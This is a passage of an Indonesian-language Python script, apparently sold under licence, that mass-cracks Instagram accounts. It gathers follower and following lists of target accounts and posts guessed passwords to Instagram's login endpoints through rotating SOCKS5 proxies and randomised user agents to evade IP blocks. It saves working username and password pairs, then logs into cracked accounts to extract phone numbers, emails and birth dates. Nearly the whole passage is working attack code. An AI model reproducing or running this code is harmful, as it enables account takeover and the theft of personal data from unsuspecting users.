  1000.                     prints(nel(io,title='[yellow]CHECKPOINT[white]',width=80,padding=(0,8),style='white'))
  1001.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1002.                     checkpoint.append(user)
  1003.                     break
  1004.                 elif 'spam' in str(respon.text):
  1005.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1006. #                   self.crackAPI(user,pas)
  1007.                 elif 'Please wait a few minutes' in str(respon.text):
  1008.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1009. #                   self.crackAPI(user,pas)
  1010.                 elif 'ip_block' in str(respon.text):
  1011.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1012.                     self.crackAPI(user,pas)
  1013.  
  1014.                 else:
  1015.                     continue
  1016.  
  1017.             loop+=1
  1018.         except:
  1019.             self.crackAPI(user,pas)
  1020.  
  1021.  
  1022.  
  1023.     def crackerAPI(self,user,pas):
  1024.         global loop,success,checkpoint
  1025.         ses=requests.Session()
  1026.         ua=random.choice(baru)
  1027.         warna = random.choice([M, H, K, U, O,])
  1028.         sys.stdout.write(f"\r{CY}[CRACK] [{K}{loop}/{len(internal)}{C}] {H} OK : - {len(success)}{C}  {K} CP : - {len(checkpoint)}{N}\r"),sys.stdout.flush()
  1029.         try:
  1030.             for pw in pas:
  1031.                 aa1='Mozilla/5.0 (Linux; Android'
  1032.                 b1=random.choice(['4','5','6','7','8','9','10','11','12'])
  1033.                 c1='BRAVIA 2K GB ATV3)'
  1034.                 g1='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  1035.                 h1=random.randrange(73,100)
  1036.                 i1='0'
  1037.                 j1=random.randrange(4200,4900)
  1038.                 k1=random.randrange(40,150)
  1039.                 l1='Mobile Safari/537.36'
  1040.                 uasu=f"{aa1} {b1}; {c1} {g1}{h1}.{i1}.{j1}.{k1} {l1}"
  1041.                 aa3='Mozilla/5.0 (Linux; Android'
  1042.                 b3=random.choice(['4','5','6','7','8','9','10','11','12'])
  1043.                 c3='vivo 1606 Build/MMB29M; wv)'
  1044.                 g3='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  1045.                 h3=random.randrange(73,100)
  1046.                 i3='0'
  1047.                 j3=random.randrange(4200,4900)
  1048.                 k3=random.randrange(40,150)
  1049.                 l3='Mobile Safari/537.36 VivoBrowser/6.8.0.1'
  1050.                 uasu3=f"{aa3} {b3}; {c3} {g3}{h3}.{i3}.{j3}.{k3} {l3}"
  1051.                 aa5='Mozilla/5.0 (Linux; Android'
  1052.                 b5=random.choice(['4','5','6','7','8','9','10','11','12'])
  1053.                 c5='V2038 Build/SP1A.210812.003; wv)'
  1054.                 g5='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  1055.                 h5=random.randrange(73,100)
  1056.                 i5='0'
  1057.                 j5=random.randrange(4200,4900)
  1058.                 k5=random.randrange(40,150)
  1059.                 l5='Mobile Safari/537.36'
  1060.                 uasu5=f"{aa5} {b5}; {c5} {g5}{h5}.{i5}.{j5}.{k5} {l5}"
  1061.                 iky_gas=[uasu,uasu3,uasu5]
  1062.                 iky_ua=random.choice(iky_gas)
  1063.                 ncek=random.randint(1000000000, 99999999999)
  1064.                 ts = calendar.timegm(current_GMT)
  1065.                 nip=random.choice(proxy)
  1066.                 proxs= {'http': 'socks5://'+nip}
  1067.                 token=s.get('https://www.instagram.com/web/__mid')
  1068.                 headers = {
  1069.                     'Host': 'z-p42.www.instagram.com',
  1070.                     'x-ig-www-claim': 'hmac.AR3F8pNjlTzH4yNJlnWGvQs0l9MDR0UyTUD17bIWL8Cr_pyS',
  1071.                     'x-instagram-ajax': 'e8a3554562db',
  1072.                     'content-type': 'application/x-www-form-urlencoded',
  1073.                     'accept': '*/*',
  1074.                     'x-requested-with': 'XMLHttpRequest',
  1075.                     'x-asbd-id': '198387',
  1076.                     'user-agent': iky_ua,
  1077.                     'x-csrftoken': token.cookies['csrftoken'],
  1078.                     'x-ig-app-id': '936619743392459',
  1079.                     'sec-fetch-site': 'same-origin',
  1080.                     'sec-fetch-mode': 'cors',
  1081.                     'sec-fetch-dest': 'empty',
  1082.                     'accept-encoding': 'gzip, deflate',
  1083.                     'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
  1084.                 }
  1085.                 param={
  1086.                     "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
  1087.                     "username": user,
  1088.                     "optIntoOneTap": False,
  1089.                     "queryParams": {},
  1090.                     "stopDeletionNonce": "",
  1091.                     "trustedDeviceRecords": {}}
  1092.                 respon=ses.post("https://z-p42.www.instagram.com/accounts/login/ajax/", headers=headers, data=param, proxies=proxs)
  1093.                 iky=json.loads(respon.text)
  1094.                 if 'userId' in str(iky):
  1095.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1096.                     io=f"""{crot}[white] Nama : [green]{nama}
  1097. {crot}[white] Username : [green]{user}
  1098. {crot}[white] Password : [green]{pw}
  1099. {crot}[white] Followers : [green]{pengikut}
  1100. {crot}[white] Following : [green]{mengikut}
  1101. {crot}[white] Postingan : [green]{postingan}"""
  1102.                     prints(nel(io,title='[green]LIVE[white]',width=80,padding=(0,8),style='white'))
  1103.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1104.                     success.append(user)
  1105.                     break
  1106.  
  1107.                 elif 'checkpoint_url' in str(iky):
  1108.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1109.                     io=f"""{crit}[white] Nama : [yellow]{nama}
  1110. {crit}[white] Username : [yellow]{user}
  1111. {crit}[white] Password : [yellow]{pw}
  1112. {crit}[white] Followers : [yellow]{pengikut}
  1113. {crit}[white] Following : [yellow]{mengikut}
  1114. {crit}[white] Postingan : [yellow]{postingan}"""
  1115.                     prints(nel(io,title='[yellow]CHECKPOINT[white]',width=80,padding=(0,8), style='white'))
  1116.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1117.                     checkpoint.append(user)
  1118.                     break
  1119.                 elif 'spam' in str(respon.text):
  1120.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1121. #                   self.crackAPI(user,pas)
  1122.                 elif 'Please wait a few minutes' in str(respon.text):
  1123.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1124. #                   self.crackAPI(user,pas)
  1125.                 elif 'ip_block' in str(respon.text):
  1126.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1127.                     self.crackAPI(user,pas)
  1128.  
  1129.                 else:
  1130.                     continue
  1131.  
  1132.             loop+=1
  1133.         except requests.exceptions.ConnectionError:
  1134.             time.sleep(10)
  1135.             self.crackerAPI(user,pas)
  1136.     def checkAPI(self,user,pwd):
  1137.         try:
  1138.             ts = calendar.timegm(current_GMT)
  1139.             nip=random.choice(proxy)
  1140.             proxs= {'http': 'socks5://'+nip}
  1141.             ncek=random.randint(1000000000, 99999999999)
  1142.             aa='Mozilla/5.0 (HuaweiBrowser/11.1.3.300 '
  1143.             b=random.choice(['4','5','6','7','8','9','10','11','12'])
  1144.             c='HarmonyOS; JKM-AL00b; HMSCore 6.4.0.311'
  1145.             d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  1146.             e=random.randrange(1, 999)
  1147.             f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  1148.             g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 HuaweiBrowser/11.1.3.300'
  1149.             h=random.randrange(73,100)
  1150.             i='0'
  1151.             j=random.randrange(4200,4900)
  1152.             k=random.randrange(40,150)
  1153.             l='Mobile Safari/537.36'
  1154.             uaku=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  1155.             ses = requests.Session()
  1156.             url = "https://www.instagram.com/accounts/login/?force_classic_login&hl=en"
  1157.             response = ses.get(url).text
  1158.             token = re.search('name="csrfmiddlewaretoken" value="(\\w+)"/>', str(response)).group(1)
  1159.             head = {
  1160.                     'Host': 'www.instagram.com',
  1161.                     'cache-control': 'max-age=0',
  1162.                     'upgrade-insecure-requests': '1',
  1163.                     'origin': 'https://www.instagram.com',
  1164.                     'content-type': 'application/x-www-form-urlencoded',
  1165.                     'user-agent': uaku,
  1166.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1167.                     'sec-fetch-site': 'same-origin',
  1168.                     'sec-fetch-mode': 'navigate',
  1169.                     'sec-fetch-user': '?1',
  1170.                     'sec-fetch-dest': 'document',
  1171.                     'referer': 'https://www.instagram.com/accounts/login/?force_classic_login&hl=en',
  1172.                     'accept-language': 'en-US,en;q=0.9' }
  1173.             param={
  1174.                     'csrfmiddlewaretoken': token,
  1175.                     'username': user,
  1176.                     'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{ncek}:{pwd}'}
  1177.             respon=ses.post("https://www.instagram.com/api/v1/web/accounts/login/ajax/", headers=head, data=param, allow_redirects=True,proxies=proxs)
  1178.             if 'href="https://www.instagram.com/?hl=id"' in str(respon.text) or 'href="https://www.instagram.com/?hl=en"' in str(respon.text):
  1179.                 coki  = ";".join([key+"="+value.replace('"','') for key, value in respon.cookies.get_dict().items()])
  1180.                 nomo,tanggal,email,joined=self.info(coki)
  1181.                 nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1182.                 print("")
  1183.                 tree = Tree(f"\r{bc}Nama akun : {nama}{hapus}")
  1184.                 tree.add(f"\r{bc}{user} | {pwd}{hapus}")
  1185.                 tree.add(f"\r{bc}Pengikut : {pengikut}{hapus}")
  1186.                 tree.add(f"\r{bc}Mengikuti : {mengikut}{hapus}")
  1187.                 tree.add(f"\r{bc}Postingan : {postingan}{hapus}")
  1188.                 tree.add(f"\r{bc}Nomor hp : {nomo}{hapus}")
  1189.                 tree.add(f"\r{bc}Tanggal lahir : {tanggal}")
  1190.                 tree.add(f"{bc}Email : {email}")
  1191.                 tree.add(f"{bc}Akun Tahun : {joined}")
  1192.                 prints(tree)
  1193.                 open(f"result/success-detector-{day}.txt","a").write(f'{user}|{pwd}|{pengikut}|{mengikut}\n')
  1194.             elif 'href="https://www.instagram.com/challenge/action/"' in str(respon.text):
  1195.                 nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1196.                 print("")
  1197.                 tree = Tree(f"\r{kn}{nama}{hapus}")
  1198.                 tree.add(f"\r{kn}{user} | {pwd}{hapus}")
  1199.                 tree.add(f"\r{kn}Pengikut : {pengikut}{hapus}")
  1200.                 tree.add(f"\r{kn}Mengikuti : {mengikut}{hapus}")
  1201.                 tree.add(f"\r{kn}Postingan : {postingan}{hapus}").add(f"\r{kn}User agent : {User_Agent()}{hapus}")
  1202.                 prints(tree)
  1203.                 open(f"result/checkpoint-detector-{day}.txt","a").write(f'{user}|{pwd}|{pengikut}|{mengikut}\n')
  1204.             elif 'ip_block' in str(respon.text):
  1205.                 sys.stdout.write(f"\r[!] {C}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  1206.                 time.sleep(5)
  1207.                 self.checkAPI(user, pwd)
  1208.         #except Exception as e:print(e)
  1209.         except:
  1210.             self.checkAPI(user,pwd)
  1211.  
  1212.     def menu(self):
  1213.         self.logo()
  1214.         c=input(f'  {N}[•] Pilih :{C}  ')
  1215.         if c=='':
  1216.             self.menu()
  1217.         elif c in ('1','01'):
  1218.             mas='[!] Masukan jumlah target'
  1219.             mas1=nel(mas,style='')
  1220.             sol().print(mas1)
  1221.             m=int(input(f'{N}[•] Jumlah : {C}'))
  1222.             mas='[•] Masukan nama random untuk di searching'
  1223.             mas1=nel(mas,style='')
  1224.             sol().print(mas1)
  1225.             for i in range(m):
  1226.                 i+1
  1227.                 i+=1
  1228.                 prints(' [!] 1 Nama = 5k User')
  1229.                 nama=input(f'{N} [{i}] Masukan nama ({H}{len(internal)}{C}): ')
  1230.                 name=self.searchAPI(self.cookie,nama)
  1231.             self.passwordAPI(name)
  1232.  
  1233.         elif c in ('2','02'):
  1234.             pr='[•] CRACK DARI PENGIKUT'
  1235.             po=nel(pr,style='')
  1236.             sol().print(po)
  1237.             #massal(self)
  1238.             mas=input('  [•] Apakah anda ingin crack masal? y/t >  ')
  1239.             if mas in ['y','Y']:
  1240.                 masal(self)
  1241.             elif mas in ['t','T']:
  1242.                 massal(self)
  1243.             elif mas in ['']:
  1244.                 print('ISI JANGAN KOSONG KENTOD!')
  1245.  
  1246.  
  1247.         elif c in ('3','03'):
  1248.             pr='[•] CRACK DARI MENGIKUTI'
  1249.             po=nel(pr,style='')
  1250.             sol().print(po)
  1251.             mas=input('  [•] Apakah anda ingin crack masal? y/t >  ')
  1252.             if mas in ['y','Y']:
  1253.                 mengi(self)
  1254.             elif mas in ['t','T']:
  1255.                 meng(self)
  1256.             elif mas in ['']:
  1257.                 print('ISI JANGAN KOSONG KENTOD!')
  1258.  
  1259.  
  1260.         elif c in ('4','04'):
  1261.             print('')
  1262.             for i in os.listdir('result'):
  1263.                 print(f' [{U}>{C}] {i}')
  1264.             c=input(f'\n {CY}┣>>> Masukan nama file: {C}')
  1265.             g=open("result/%s"%(c)).read().splitlines()
  1266.             print(f'\n{CY}┣[+] Total Result {H}{len(g)}{C}')
  1267.             print(f'\n{CY}┣[!] Proses mengecek status akun. silahkan tunggu sebentar{C}\n')
  1268.             for s in g:
  1269.                 user=s.split("|")[0]
  1270.                 pwd=s.split("|")[1]
  1271.                 self.checkAPI(user,pwd)
  1272.             exit(f'\n\n{K}┣[#] proses check selesai...{C}')
  1273.  
  1274.         elif c in ('5','05'):
  1275.             print('')
  1276.             for i in os.listdir('result'):
  1277.                 print(f' [{U}>{C}] {i}')
  1278.             c=input(f'\n {U}┣>>> Masukan nama file: {C}')
  1279.             g=open("result/%s"%(c)).read().splitlines()
  1280.             xx=c.split("-")
  1281.             xc=xx[0]
  1282.             print(f'\n{K}┣[>] Total result yang di temukan [{H}{len(g)}{C}]')
  1283.             for s in g:
  1284.                 usr=s.split("|")[0]
  1285.                 pwd=s.split("|")[1]
  1286.                 fol=s.split("|")[2]
  1287.                 ful=s.split("|")[3]
  1288.                 if xc=="checkpoint":
  1289.                     print(f"""
  1290. [{M}+{C}] {M}𝐂𝐄𝐊𝐏𝐎𝐈N𝐓{C}
  1291.  {M}|{C}
  1292.  {M}├╴>{C} Username: {O}{usr}{C}
  1293.  {M}├╴>{C} Password: {O}{pwd}{C}
  1294.  {M}├╴>{C} Followers: {O}{fol}{C}
  1295.  {M}├╴>{C} Following: {O}{ful}{C}
  1296.                     """);sleep(0.05)
  1297.                 else:
  1298.                     print(f"""
  1299.  {H}[>]{C}{H}  𝐋𝐈𝐕𝐄 {C}
  1300.  {H}[>]{C}{H} Username : {H}{usr}{C}
  1301.  {H}[>]{C}{H} Password : {H}{pwd}{C}
  1302.  {H}[>]{C}{H} Pengikut : {H}{fol}{C}
  1303.  {H}[>]{C}{H} Mengikuti : {H}{ful}{C}
  1304.                     """);sleep(0.05)
  1305.         elif c in ('6','06'):
  1306.             global following
  1307.             six=0
  1308.             print(f'\n [{U}!{C}] Bot Unfollow-All Dijalankan\n')
  1309.             x=open('.kukis.log','r').read()
  1310.             x_id=re.findall('sessionid=(\d+)',x)[0]
  1311.             back=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',x_id)
  1312.             for i in following:
  1313.                 six+=1
  1314.                 sleep(float( random.uniform(nyMnD*10,nyMxD*10) / 10 ))
  1315.                 six_id=self.sixAPI(i)
  1316.                 print(f' {str(six)}{U}}}{C} {i} {H}Unfollow-Berhasil{C}')
  1317.                 self.unfollowAPI(six_id,'5452333948',self.cookie)
  1318.                 #print(w)
  1319.             input(f'\n\n [{U}#{C}] Unfollow-all selesai...');self.menu()
  1320.  
  1321.         elif c in ('r','R'):
  1322.             self.BUG()
  1323.         elif c in ('c','C'):
  1324.             self.ChangeLog()
  1325.         elif c in ('e','E'):
  1326.             self.Exit()
  1327.  
  1328.         else:
  1329.             self.menu()
  1330. def tlisensi():
  1331.     lu()
  1332.     cetak(nel('[!] Lisensi Tidak Valid\n[!] Silahkan Ketik [green]"Buy"[/green] Untuk membeli lisensi'))
  1333.     time.sleep(2)
  1334.     lisen=input('[•] Masukan Lisensi : ')
  1335.     if lisen in ['']:
  1336.      print(f'{M}[!] JANGAN KOSONG{N}');sleep(1)
  1337.      tlisensi()
  1338.     if lisen in ['buy','Buy']:
  1339.      os.system('xdg-open https://wa.me/6283114591358?text=Bang+beli+lisensi+IG+nya+dong');exit()
  1340.     loadinglisen()
  1341.     open('.lisen.txt','w').write(lisen)
  1342.     lisensi()
  1343.    
  1344. def lisensi():
  1345.     try:
  1346.         cek=open('.lisen.txt').read()
  1347.         lisensikuni.append(cek)
  1348.     except:
  1349.         tlisensi()
  1350.     device = platform()
  1351.     ses=requests.Session()
  1352.     res=ses.get("https://instagram.fulldxrmedia.xyz/check.php?key=%s&dev=%s" % (lisensikuni[0], device)).json()
  1353.     if res["status"] == "berlaku":
  1354.         if res["usage"] == "premium":
  1355.             li()
  1356.             cetak(nel('\t[green]SELAMAT LISENSI ANDA VALID[/green]'))
  1357.             time.sleep(2)
  1358.             lisensiku.append("sukses")
  1359.             login_kamu()
  1360.         else:
  1361.             lu()
  1362.             cetak(nel('\t[red]Lisensi User Trial Tidak Tersedia Untuk Script Ini!![/red]'))
  1363.             tlisensi()
  1364.     elif res["status"] ==KeyError:
  1365.         os.system('rm .lisen.txt')
  1366.     else:
  1367.         tlisensi()
  1368.  
  1369. def mengi(self):
  1370.             try:
  1371.                 menudump.append('mengikuti')
  1372.                 mas='[!] Target harus bersifat publik jangan privat'
  1373.                 mas1=nel(mas,style='')
  1374.                 sol().print(mas1)
  1375.                 m=int(input(f'\n{N}[?{N}] Masukan jumlah target: {N}'))
  1376.             except:m=1
  1377.             for t in range(m):
  1378.                 t +=1
  1379.                 so=f'# TOTAL ID :{len(internal)}'
  1380.                 pi=mark(so,style='green')
  1381.                 sol().print(pi)
  1382.                 nama=input(f' [{t}] Masukan Username : ')
  1383.                 pr=f' Sedang Mengumpulkan ID : [red]{nama}[/red]'
  1384.                 u=nel(pr,style="")
  1385.                 sol().print(u)
  1386.                 id=self.idAPI(self.cookie,nama)
  1387.                 info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  1388.             self.passwordAPI(info)
  1389.  
  1390. def meng(self):
  1391.         menudump.append('mengikuti')
  1392.         mas='[!] Target harus bersifat publik jangan privat'
  1393.         mas1=nel(mas,style='')
  1394.         sol().print(mas1)
  1395.         nama=input(f'  {N}[•] Username target : {C}')
  1396.         pr=f' Sedang Mengumpulkan ID : [red]{nama}[/red]'
  1397.         so=nel(pr,style='')
  1398.         sol().print(so)
  1399.         id=self.idAPI(self.cookie,nama)
  1400.         info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  1401.         self.passwordAPI(info)
  1402.  
  1403. def masal(self):
  1404.             try:
  1405.                 menudump.append('pengikut')
  1406.                 mas='[!] Target harus bersifat publik jangan privat'
  1407.                 mas1=nel(mas,style='')
  1408.                 sol().print(mas1)
  1409.                 m=int(input(f'\n  {H}[?{H}] Masukan jumlah target: {N}'))
  1410.             except:m=1
  1411.             for t in range(m):
  1412.                 t +=1
  1413.                 so=f'# TOTAL ID :{len(internal)}'
  1414.                 pi=mark(so,style='green')
  1415.                 sol().print(pi)
  1416.                 nama=input(f' [{t}] Masukan Username : ')
  1417.                 pr=f' Sedang Mengumpulkan ID : [red]{nama}[/red]'
  1418.                 u=nel(pr,style="")
  1419.                 sol().print(u)
  1420.                 id=self.idAPI(self.cookie,nama)
  1421.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  1422.             self.passwordAPI(info)
  1423.  
  1424.  
  1425.  
  1426. def massal(self):
  1427.             menudump.append('pengikut')
  1428.             mas='[!] Target harus bersifat publik jangan privat'
  1429.             mas1=nel(mas,style='')
  1430.             sol().print(mas1)
  1431.             m=input(f'  {N}[•] Username target : {C}')
  1432.             pr=f' Sedang Mengumpulkan ID : [red]{m}[/red]'
  1433.             so=nel(pr,style="")
  1434.             sol().print(so)
  1435.  
  1436.             id=self.idAPI(self.cookie,m)
  1437.             info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  1438.             self.passwordAPI(info)
  1439.  
  1440. if __name__=="__main__":
  1441.     lisensi()
  1442.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement